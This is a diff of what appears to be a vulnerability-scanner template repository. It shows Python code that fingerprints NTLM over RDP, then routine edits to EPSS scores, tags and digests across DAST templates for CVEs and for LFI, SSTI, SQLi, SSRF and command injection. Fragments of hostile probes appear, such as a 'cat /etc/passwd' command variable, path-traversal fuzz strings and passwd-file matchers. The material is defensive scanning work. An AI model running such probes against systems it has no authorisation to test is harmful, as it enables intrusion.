+      def parse_av_pairs(blob, offset, length):
+        info, pos, end = {}, offset, offset + length
+        while pos + 4 <= end:
+          av_id, av_len = struct.unpack("<HH", blob[pos:pos+4])
+          pos += 4
+          if av_id == 0: break
+          val = blob[pos:pos+av_len]; pos += av_len
+          key = AV_PAIRS.get(av_id, f"Unknown_{av_id}")
+          if av_id == 0x07 and av_len == 8:
+            ft = struct.unpack("<Q", val)[0]
+            #info[key] = datetime.fromtimestamp(ft/10_000_000-11644473600, tz=timezone.utc).isoformat()
+          else:
+            try: info[key] = val.decode("utf-16-le")
+            except: info[key] = val.hex()
+        return info
+
+      def parse_ntlm_challenge(blob):
+        sig_idx = blob.find(b"NTLMSSP")
+        if sig_idx == -1:
+          return None
+        blob = blob[sig_idx:]
+        info = {}
+
+        try:
+          if len(blob) < 12:
+            return None
+          if struct.unpack("<I", blob[8:12])[0] != 2:
+            return None
+          if len(blob) < 20:
+            return None
+          target_len = struct.unpack("<H", blob[12:14])[0]
+          target_offset = struct.unpack("<I", blob[16:20])[0]
+          if target_len > 0 and len(blob) >= target_offset + target_len:
+            info["Target_Name"] = blob[target_offset:target_offset+target_len].decode("utf-16-le", errors="ignore")
+          if len(blob) >= 48:
+            av_len = struct.unpack("<H", blob[40:42])[0]
+            av_offset = struct.unpack("<I", blob[44:48])[0]
+            if av_len > 0 and len(blob) >= av_offset + av_len:
+              info.update(parse_av_pairs(blob, av_offset, av_len))
+          if len(blob) >= 52:
+            info["Product_Version"] = f"{blob[48]}.{blob[49]}.{struct.unpack('<H', blob[50:52])[0]}"
+        except Exception:
+          return info
+        return info
+
+      with socket.create_connection((RDP_HOST, RDP_PORT), timeout=TIMEOUT) as sock:
+        context = ssl.create_default_context()
+        context.check_hostname = False
+        context.verify_mode = ssl.CERT_NONE
+        with context.wrap_socket(sock, server_hostname=RDP_HOST) as conn:
+          conn.sendall(NTLM_NEGOTIATE_BLOB)
+          response = conn.recv(8192)
+
+      parsed = parse_ntlm_challenge(response)
+      print(parsed)
+
+    extractors:
+      - type: dsl
+        dsl:
+          - response
+# digest: 4b0a00483046022100ec99f270e12c09f16ebd91325522989dfa0d42503ae2b3fa47b4decb5f9391d7022100c71480a8bfc8e3cbcd2c188d39111b1abaaad4ae91c1990449cb8c6570590691:922c64590222798bb761d5b6d8e72950

cves.json-checksum.txt

@@ -1 +1 @@
-a40a86ebcad9426abf4c10a62da6fdce
+04825279d81a90757969be8bbeccd5b4

dast/cves/2018/CVE-2018-19518.yaml

@@ -16,12 +16,12 @@ info:
     cvss-score: 7.5
     cve-id: CVE-2018-19518
     cwe-id: CWE-88
-    epss-score: 0.939
-    epss-percentile: 0.99868
+    epss-score: 0.93956
+    epss-percentile: 0.99875
   metadata:
     max-request: 1
     confidence: tenative
-  tags: imap,dast,vulhub,cve,cve2018,rce,oast,php
+  tags: imap,dast,vulhub,cve,cve2018,rce,oast,php,vkev,vuln
 
 http:
   - pre-condition:
@@ -49,4 +49,4 @@ http:
         part: interactsh_request
         words:
           - "User-Agent: curl"
-# digest: 490a0046304402200e7c8054ae05080168f39b5319f9e92f310ebdad580c0c287ae0251b4e9cf66002205334164b14315c86dc1f5cac4195fc0187c630c028ecdcf523f0b538013d7f06:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022003d7f90673973a982e5558470f07a7f4ad8f8cc685710dc21348cb4bc670b4d9022100b5549b5ebdfda9e3d3841380d1a9818136dc794c3e03b05c487cb841c88f78b5:922c64590222798bb761d5b6d8e72950

dast/cves/2021/CVE-2021-45046.yaml

@@ -17,11 +17,11 @@ info:
     cve-id: CVE-2021-45046
     cwe-id: CWE-502
     epss-score: 0.9434
-    epss-percentile: 0.9995
+    epss-percentile: 0.99949
   metadata:
     max-request: 1
     confidence: tenative
-  tags: cve,cve2021,rce,oast,log4j,injection,dast,kev
+  tags: cve,cve2021,rce,oast,log4j,injection,dast,kev,vkev,vuln
 
 http:
   - pre-condition:
@@ -62,4 +62,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 4a0a00473045022100c3b20f448361271f599753355c0adcc4667756e77de1f1dd580d57a25a0551f502204cbf759b20c07ff24c147f802375a32ff25b05752ec4b54704436b42bf1c5f56:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009196c1d6ef2d3d8e4b25ff18bfa83c04a308b9765b740c9162c14bbc6731d5dd022100d96615e2b640d1a1570bb2c83be10885b97f859a08cdf30f244d62072624fd42:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-22965.yaml

@@ -17,14 +17,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2022-22965
     cwe-id: CWE-94
-    epss-score: 0.94464
-    epss-percentile: 0.99994
+    epss-score: 0.94441
+    epss-percentile: 0.99989
     cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
     vendor: vmware
     product: spring_framework
-  tags: packetstorm,cve,cve2024,dast,spring,rce,kev
+  tags: packetstorm,cve,cve2024,dast,spring,rce,kev,vkev,vuln
 
 http:
   - pre-condition:
@@ -55,4 +55,4 @@ http:
         words:
           - "User-Agent: Java"
         case-insensitive: true
-# digest: 490a0046304402204527b23981ef95a1ca55ac318426f4a5be2b74c489dd8ab4f91562c847081fe702204a3ba08626a6a62c373e440c51b6228bd2ca56a079dc72b653c27362f31c7601:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100cbb1a7ae18dc796cbd8d01a2416573459737a0f5c5bef589a865dba4e022096602206ff2e01b0d20ab6cefb4ab847190e4ea41429ad947a64493881626897d7b9006:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-34265.yaml

@@ -17,8 +17,8 @@ info:
     cve-id: CVE-2022-34265
     cwe-id: CWE-89
     epss-score: 0.92734
-    epss-percentile: 0.99743
-  tags: sqli,dast,vulhub,cve,cve2022,django
+    epss-percentile: 0.99742
+  tags: sqli,dast,vulhub,cve,cve2022,django,vuln
 
 variables:
   rand_string: '{{rand_text_alpha(15, "abc")}}'
@@ -46,4 +46,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 4a0a00473045022100ec9ecc4ab0117134f6bcfaa9223aeb6ddc60aaac101e90fe89b94565de684df702200476be19316cb1ee65dfe23e8a58c72c9ab17f00902576487ac910541a7813a5:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220313f97ef1ed9ca9259404dcc6b2a3d20024e5d93c5e240fc3691a60445b3521b02202dc02c16af44d82d9a1c893c9c85690e677e801a7bd2759dad7b66a31591b236:922c64590222798bb761d5b6d8e72950

dast/cves/2022/CVE-2022-42889.yaml

@@ -19,11 +19,11 @@ info:
     cve-id: CVE-2022-42889
     cwe-id: CWE-94
     epss-score: 0.94161
-    epss-percentile: 0.99911
+    epss-percentile: 0.99907
   metadata:
     max-request: 1
     confidence: tenative
-  tags: cve,cve2022,rce,oast,text4shell,dast
+  tags: cve,cve2022,rce,oast,text4shell,dast,vkev,vuln
 
 http:
   - pre-condition:
@@ -68,4 +68,4 @@ http:
         group: 1
         regex:
           - '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'   # Print extracted ${hostName} in output
-# digest: 490a00463044021f705d9bbe7626bf4ab115f0c046d51a474ff2a22a132a4d754375a2b64f105a022100dcda6b7c00934574644b4c1be476d893c3ae3b02f85bb5bb4db62bf16cd0fe43:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022007239687d8e5b0b562ae071607fcc17bf9e0a75003422cc11d019e4c973a71ed022100e39d76c5c714ec810722b624baa6687e4178262aba54c4973139c572bed95be5:922c64590222798bb761d5b6d8e72950

dast/cves/2024/CVE-2024-2961.yaml

@@ -18,9 +18,9 @@ info:
     cvss-score: 7.3
     cve-id: CVE-2024-2961
     cwe-id: CWE-787
-    epss-score: 0.92618
-    epss-percentile: 0.99735
-  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev
+    epss-score: 0.9261
+    epss-percentile: 0.9973
+  tags: cve,cve2024,php,iconv,glibc,lfr,rce,dast,vkev,vuln
 
 flow: http(1) && http(2)
 
@@ -57,4 +57,4 @@ http:
       - type: regex
         regex:
           - "root:x:0:0"
-# digest: 4a0a00473045022100adb3ce06432135aefb62e8c2d4a8bc6839d9584bde514212ca2ea65c019b831f022041b17915ecdf958a305a3212de9e242dc2fa9c6b9b6036890749b83f17446a5e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100aa92d96d35809e43ff9944ae82a2d175820a83937e0f8e01f7e7f4bcf976deb9022100db0273ebd16109f8dcc5b9bc3f0cba9388e844a71558447228205f8f635d7b06:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/blind-oast-polyglots.yaml

@@ -12,7 +12,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md
   metadata:
     max-request: 4
-  tags: cmdi,oast,dast,blind,polyglot
+  tags: cmdi,oast,dast,blind,polyglot,vuln
 
 variables:
   marker: "{{interactsh-url}}"
@@ -47,4 +47,4 @@ http:
         part: interactsh_protocol
         words:
           - "http"
-# digest: 490a0046304402202419d4ba5f4fd3416fe79458763767d93bf1ef5d7d4c6965bf8e45e7c6cbd841022019c41483c2c7a9df4ff398b7c51adf43b795237a5c14ebd46af70e61e6e4ece3:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206a444a9acece7bd019548b1e08201a3550774099ab082c9b85ac7cf6d282a49e022100c15790c0d52b54c520db587da6e7aa8f3c21c0008bfc189ca3f51e11557b73e8:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/python-code-injection.yaml

@@ -4,7 +4,7 @@ info:
   name: Python Code Injection
   author: ritikchaddha
   severity: high
-  tags: python,dast,injection,cmdi
+  tags: python,dast,injection,cmdi,vuln
 
 variables:
   Command: "cat /etc/passwd"
@@ -46,4 +46,4 @@ http:
         part: body
         regex:
           - 'root:.*:0:0:'
-# digest: 490a00463044022064ced5a02135a5ba8b7c175805059e306f3733d3bbf857549147c9c0ccbd384002201c08821cca27e513e75cac1aac095d5b3a88042240da35c639097b520cc3e448:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d20dead9d43184682b9162961ee82df8d0c89d9dcb2b219668c1f607b37c6a6f022100cddb28a5648ce05e0666ef2b25997ab11ea7c2dde5d78d7bb8245fb67e73ec39:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/cmdi/ruby-open-rce.yaml

@@ -11,7 +11,7 @@ info:
     - https://codeql.github.com/codeql-query-help/ruby/rb-kernel-open/
   metadata:
     max-request: 1
-  tags: cmdi,oast,dast,blind,ruby,rce
+  tags: cmdi,oast,dast,blind,ruby,rce,vuln
 
 variables:
   marker: "{{interactsh-url}}"
@@ -37,4 +37,4 @@ http:
         part: interactsh_protocol
         words:
           - "dns"
-# digest: 4a0a0047304502206ff78f37d4198cbd5fc84c62eaeba635201647621d943ab9306c86cb7c2538c5022100cdca6a7cc5fd5960d6c80cbc95d3730c04a44841f9bda59d373a1b7054662259:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100d92df5db8aad5337f3bfd5b6b74ac56650ed4b46a01670f2cc17edfc482eebf70221008653513ecb252e26cbc2c9a2b34a6a150f3017f6eaff6568a00626ac7a8c64f4:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/crlf/cookie-injection.yaml

@@ -9,7 +9,7 @@ info:
     - https://docs.imperva.com/bundle/on-premises-knowledgebase-reference-guide/page/cookie_injection.htm
   metadata:
     max-request: 1
-  tags: reflected,dast,cookie,injection
+  tags: reflected,dast,cookie,injection,vuln
 
 variables:
   first: "cookie_injection"
@@ -35,4 +35,4 @@ http:
         part: header
         regex:
           - '(?m)(?i)(^set-cookie.*cookie_injection.*)'
-# digest: 4b0a004830460221008d176a937df3a060c869460001cd09392d40a6b967ff6e96f370720d962326d4022100d97bad09822dfe1eb276af89d02ed901100fe7b826d4acd9b4d9a363c899f74b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/crlf/crlf-injection.yaml

@@ -6,7 +6,7 @@ info:
   severity: low
   metadata:
     max-request: 41
-  tags: crlf,dast
+  tags: crlf,dast,vuln
 
 http:
   - pre-condition:
@@ -73,4 +73,4 @@ http:
         part: header
         regex:
           - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
-# digest: 4a0a004730450221008ccd353c3f0bf996eef2c21aefb04e928a4f97a498e8820914082fd8fe364221022012b563c9b300c5bc73c952975acc9211cd116e8786cdba9d6788e37a474db99b:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/csti/angular-client-side-template-injection.yaml

@@ -13,7 +13,7 @@ info:
   reference:
     - https://www.acunetix.com/vulnerabilities/web/angularjs-client-side-template-injection/
     - https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs
-  tags: angular,csti,dast,headless,xss
+  tags: angular,csti,dast,headless,xss,vuln
 
 variables:
   first: "{{rand_int(1000, 9999)}}"
@@ -44,4 +44,4 @@ headless:
         part: body
         words:
           - "{{result}}"
-# digest: 4a0a00473045022020e22f3aa1d49de743347240f3cfc2d4aaa31d402183612be52fd033f51e0792022100a2ed81987f5a5c068275bcf09d505c3582738155068ebb6511cea83023af40c1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a2ac080bb6415a8212391f85928dbb73c39a193590e820a1296630b526de58e9022100e1e54277e619955b67a2f5f872bbb828c405da0080ebebf25cfdf2b1c930eb0a:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/injection/csv-injection.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   description: |
     A CSV injection detection template to identify and prevent CSV injection vulnerabilities by using various payloads that could be interpreted as formulas by spreadsheet applications.
-  tags: dast,csv,oast
+  tags: dast,csv,oast,vuln
 
 http:
   - pre-condition:
@@ -47,4 +47,4 @@ http:
           - "text/csv"
           - "application/csv"
           - "application/vnd.ms-excel"
-# digest: 4b0a00483046022100f7e75b232bba6a4cdf8750cda7e0a17af0e3f86b85e0052d201cb5b60fde787f022100ae2e75bfc5891ad76b304eb90525135d905cde216fc5236f73da1dd79a974321:922c64590222798bb761d5b6d8e72950
+# digest: 480a0045304302204b04df532ec328b11991f3ce6db6e0f23ecf716ea56920967543344970fa6a63021f625b58f16210ea97db1831d0ba77a0c027c8687c9b4f9bca4ad0fdc0e0fc1f:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/injection/xinclude-injection.yaml

@@ -8,7 +8,7 @@ info:
     XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.
   reference:
     - https://d0pt3x.gitbook.io/passion/webapp-security/xxe-attacks/xinclude-attacks
-  tags: dast,xxe,xinclude
+  tags: dast,xxe,xinclude,vuln
 
 http:
   - pre-condition:
@@ -42,4 +42,4 @@ http:
         part: body
         words:
           - 'for 16-bit app support'
-# digest: 490a0046304402207a9b4788db70b76e3e302ea9bcb1db6b7f7e9b54227688c7d8a1ed57482ceb7b0220351c08f3f79d82384fc13d8d8136691ac121a975411566bff706da9302acf29d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e69db58569b4f4e5f60abf7e90300e73b9999127ef3b07cc6e90798e22187bdd0220062843c2ed9f731d9b4985e0b587e5f3e8ac58c29aa83a84f18d21ca4dcda0e4:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/lfi/lfi-keyed.yaml

@@ -8,7 +8,7 @@ info:
     - https://owasp.org/www-community/attacks/Unicode_Encoding
   metadata:
     max-request: 25
-  tags: dast,pathtraversal,lfi
+  tags: dast,pathtraversal,lfi,vuln
 
 variables:
   fuzz: "../../../../../../../../../../../../../../../"
@@ -120,4 +120,4 @@ http:
         part: body
         regex:
           - '(<system.webServer[\s\S]+<\/system.webServer>)'
-# digest: 4b0a00483046022100a868d76a37393356f2ff54556a70ebb1253b43c60deeede8ba7d02eec4ac2280022100e2405e6b8a341f5d0abf54aef97ccf1fd24dacef3d99a19b45abc918e6439c89:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100feb011d8f08c768dbafc2814db0721727bf474a1796af82769e6d81a3df3aebb02202a88f33eb015419d4d6b49bd7ce08089a05d86606d93d8601112fe738923ca08:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/lfi/linux-lfi-fuzz.yaml

@@ -9,7 +9,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
   metadata:
     max-request: 46
-  tags: lfi,dast,linux
+  tags: lfi,dast,linux,vuln
 
 http:
   - pre-condition:
@@ -83,4 +83,4 @@ http:
         part: body
         regex:
           - 'root:.*:0:0:'
-# digest: 4a0a0047304502207b422d61f592022978e8935702142a3026177736679561ac5c1ff01c5eb6ff02022100c0351d1b5e9675ec4f759d617018e4712a49f742cdd0469c488593896ae45b36:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bc2e34d998c161b0f1d7455850d0f9744628335ec5e3d0aeb95ac7711acaa2dd02210093950e9953cf175d3568ef5a82a366ec34486250941957176db44a0aafc24e1b:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/lfi/windows-lfi-fuzz.yaml

@@ -6,7 +6,7 @@ info:
   severity: high
   metadata:
     max-request: 39
-  tags: lfi,windows,dast
+  tags: lfi,windows,dast,vuln
 
 http:
   - pre-condition:
@@ -74,4 +74,4 @@ http:
           - "fonts"
           - "extensions"
         condition: and
-# digest: 4a0a00473045022100f7f0f2818b15b27bcecf1aaf93838811a0df811ada75050484c58dbb3fd715f002202b25fd76450937ae37c2c925dda20d6f22a490c1b164d3d1bf703044765daf3e:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202c7451a1d8e2ce336cd69b4339d8bf006429f0251b6d195fcfeb02472188f3d5022100a1ad317fa882c654e50b3ece6492c6050dad00010369259be8ef2258e4bc4a18:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/redirect/open-redirect-bypass.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   metadata:
     max-request: 1
-  tags: redirect,dast
+  tags: redirect,dast,vuln
 
 http:
   - pre-condition:
@@ -285,4 +285,4 @@ http:
           - 301
           - 302
           - 307
-# digest: 4a0a0047304502204ebf924d723493c365c9d4d32ba03204835540154f662dfb94b7579f9aad14b9022100e40c6596ab385687b5c2804d8e487496a1ba5835f9cba5d1a8cec27e3f3fab1d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502206a2882c605cac005cc99926e18ebd02dc43c4c31a756c745e7f4dd845ab2cca9022100d7cb3221c7842d7e9356fcd694217518a608885632f2cfd3e2abc52a2f26fad2:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/redirect/open-redirect.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   metadata:
     max-request: 1
-  tags: redirect,dast
+  tags: redirect,dast,vuln
 
 http:
   - pre-condition:
@@ -181,4 +181,4 @@ http:
           - 301
           - 302
           - 307
-# digest: 4b0a00483046022100c12ad470d721d0006f75b2024d67345962945cb5b36915ef144972832cc1c372022100f96113abf35c9e3152f9c5206c81279681182d51d3877178aaf6c20dca6bb492:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a79bb24814ebb6fce46310bc6ca43f0a735205eccf07838a37f372e8956cfdbf022100f2fa25d75d359997833b4406ac5acadce14328707f8b2e1896024e3c7cc7bb2a:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/rfi/generic-rfi.yaml

@@ -8,7 +8,7 @@ info:
     - https://www.invicti.com/learn/remote-file-inclusion-rfi/
   metadata:
     max-request: 1
-  tags: rfi,dast,oast
+  tags: rfi,dast,oast,vuln
 
 http:
   - pre-condition:
@@ -32,4 +32,4 @@ http:
         part: body  # Confirms the PHP was executed
         words:
           - "NessusCodeExecTest"
-# digest: 4a0a0047304502201defae9e491762c05f2aefe99c8489ba93fd7153248875c686f9c6420abe3dc8022100bec8f77768157cd111d564a3498dfd931718092aa5a06e68b2b0033ef765d537:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221008b6ae75bff51d0f717fa022b5a9f6f75ac545b873262f391be1b844bddb24d67022100f8b9d9ccf60276b6eb0ab6d0bda976c53f8218b73f2b78012d8c15daae36b43a:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/sqli/sqli-error-based.yaml

@@ -10,7 +10,7 @@ info:
     This is accomplished by the application taking user input and combining it with static parameters to build an SQL query .
   metadata:
     max-request: 3
-  tags: sqli,error,dast
+  tags: sqli,error,dast,vuln
 
 http:
   - pre-condition:
@@ -494,4 +494,4 @@ http:
           - "SQ200: No table "
           - "Virtuoso S0002 Error"
           - "\\[(Virtuoso Driver|Virtuoso iODBC Driver)\\]\\[Virtuoso Server\\]"
-# digest: 4b0a00483046022100aa148dd908d30fe373522fd4b169a8c92376ca39b7eb6c41dbbfde1f0be384cf022100810e9ae8300cec98d33500199a98614dffe88f94777533129e5a3a8542084f5a:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100fc7880d1ba52b68e380ae499d88bfb728689d1f8cf19a0b3614da15cff736951022100b90853b96511c04b6ca8fd4ebeaa539b9a100804e46acb3f5beb203f2ff7e575:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/sqli/time-based-sqli.yaml

@@ -6,7 +6,7 @@ info:
   severity: critical
   description: |
     Sends time-delay SQL payloads and measures response latency to confirm blind injection in various database engines, enabling data extraction without direct error messages.
-  tags: time-based-sqli,sqli,dast,blind
+  tags: time-based-sqli,sqli,dast,blind,vuln
 
 flow: http(1) && http(2)
 
@@ -124,4 +124,4 @@ http:
       - type: dsl
         dsl:
           - "duration>=7 && duration <=16"
-# digest: 490a004630440220309239d5777147313e84be59dd7de76c9ecf2fb9906dfee402c77c9699956df9022046402821c7d21565effb26fd2aab34bf0474ebfb6876b979f1efadebc7af04c4:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f81a7af56429232ba4c582bc7ec7a8f6259d3220126dce0bf15189a7cc0a4a30022100b39ba449c1f3d3230700db35466858af68993bd8c9630b50225a77e5e2ca8b6e:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssrf/blind-ssrf.yaml

@@ -6,7 +6,7 @@ info:
   severity: medium
   metadata:
     max-request: 3
-  tags: ssrf,dast,oast
+  tags: ssrf,dast,oast,vuln
 
 http:
   - pre-condition:
@@ -37,4 +37,4 @@ http:
         part: interactsh_protocol  # Confirms the HTTP Interaction
         words:
           - "http"
-# digest: 490a0046304402200f4fac59ac544b53062c8903e3fc14f94b56e7ae95d1d9deef2d81d30a71e0be022075d19be0c973cbe8ec8120eaaeb45568dbb4c1992f19ece89e567949cfaeb658:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204f5689b30c3f94560c914b824916630f62b30706ea13dac96132350cf11edcdb022057a1c782332e4a02cff196012cb4b88cf0492cebb61afbc7064646f14f6bfcb1:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssrf/response-ssrf.yaml

@@ -8,7 +8,7 @@ info:
     - https://github.com/bugcrowd/HUNT/blob/master/ZAP/scripts/passive/SSRF.py
   metadata:
     max-request: 12
-  tags: ssrf,dast
+  tags: ssrf,dast,vuln
 
 http:
   - pre-condition:
@@ -132,4 +132,4 @@ http:
         part: body
         regex:
           - 'id[\s\S]+interfaces\/'
-# digest: 4a0a0047304502202fde4bfa65da3bf0c55b9b438cd860494fbd0663a658a93ecacfa6f796104b560221008a0a57e62fa458121b54a0aca4e8ce18ad30806a2680549345df96912af33d18:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022006af276ebf6a418b1bcf9f916236906c2eb958611639ee3f9e885872aedc5ee102201dd3a6cb133d0920b1e98ae20027fe57c348a763b189a5b38ba57edb242d09e4:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/freemarker-sandbox-bypass-ssti.yaml

@@ -10,7 +10,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#freemarker---sandbox-bypass
   metadata:
     verified: true
-  tags: ssti,dast,freemarker
+  tags: ssti,dast,freemarker,vuln
 
 http:
   - pre-condition:
@@ -34,4 +34,4 @@ http:
         part: body
         regex:
           - "uid=[0-9]+.*gid=[0-9]+.*"
-# digest: 4a0a00473045022100b5577e417caf5698d76f3cf7da7414f04e9be66d0cb15ff7ce9cf6648424d20d02206614926d9c4e239b7198e07da4b8b61829faf8dc55057ee0439b3b1e3fbb41fc:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100ac8c10f30a5cdc7e823e21020c162e3905bb3224dc545e42d0af472fe3b9cc3802204b4d959cdab058adf6963fdb8f84eeb01e420b56b927cd2f3a6b9041ec60a4cd:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/blade-oob.yaml

@@ -9,7 +9,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 http:
   - pre-condition:
@@ -37,4 +37,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 4a0a00473045022100cd8d8ea3f75134ec1a9235f83294c87b8f49df61c565d5fa91dc45c57759aad302203b9fa6ca78133641e3d5b3304ead17401d5f2ccd55b3917418f23dc677014681:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502200fbe63bd2f1255654c93ddedae62499fdfcb8ac4496041cc3da3caca97b1bc00022100bcce8a6791c82c2c40fbf9f614484ca12b3bd7c002f373534fd3085a6d5de7d2:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/bottle-oob.yaml

@@ -9,7 +9,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 variables:
   oast: "{{interactsh-url}}"
@@ -40,4 +40,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 4a0a00473045022100b3c70b176879a2460a518ad7118919a3658bf5806e8bc74b03caf23f1e72433c022077bc6aabdf2008bf051823242155f5bab226fd32d39b7ff9704778a97ecc2dc7:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a92ae4fac72f544f364bda53a299b0c8ec0f100e7214207ec18cdac184fd8883022100c6ee6753b6c703415440b9f56c5b2bba10498fac41d10dfafa28c0dd1757104d:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/chameleon-oob.yaml

@@ -9,7 +9,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 http:
   - pre-condition:
@@ -37,4 +37,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 4a0a00473045022100f2d190c0663353f514bcd5044e28ad9a9dccbb7360ed054dba295e021cf608dd022073b0a3f0cdd8945800bbb341ce75f505ad961ea2a56a8ef21c8913bb70a28df9:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100a1a7d16120a0aed4f61ba57617da6c6ca6819d11af22d3f4a97d0ea6c55b3072022100c0d6fd6e33b1aaf824fa03be2a49de9d53c1a38e0c4d75cc3fea70ed686de139:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/codepen-oob.yaml

@@ -8,7 +8,7 @@ info:
     - https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/Java.md#codepen
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 http:
   - pre-condition:
@@ -34,4 +34,4 @@ http:
           - "contains(interactsh_protocol,'dns')"
           - "contains(interactsh_request,'srv')"
         condition: and
-# digest: 490a0046304402201cc122332f3c98014cdaa0a48408214d6907250a67fd300276c16d4281923d8a0220489b6d635f7e4db27abfa366a85e62646b8ca7ece0b96ce5243d8dd3403ece45:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e27481698d8336750623b7e91390c3541b578fdb99427935d92321df6e9fd034022100c44a2d500e417f78f771fa416450b2d0913c24d23ac7ad010ca4288fed3ca20b:922c64590222798bb761d5b6d8e72950

dast/vulnerabilities/ssti/oob/dotjs-oob.yaml

@@ -9,7 +9,7 @@ info:
     - https://medium.com/@0xAwali/template-engines-injection-101-4f2fe59e5756
   metadata:
     verified: true
-  tags: ssti,dast,oast,oob
+  tags: ssti,dast,oast,oob,vuln
 
 variables:
   prefix: "{{rand_text_alpha(5)}}"
@@ -40,4 +40,4 @@ http:
           - "contains(interactsh_protocol,'http')"
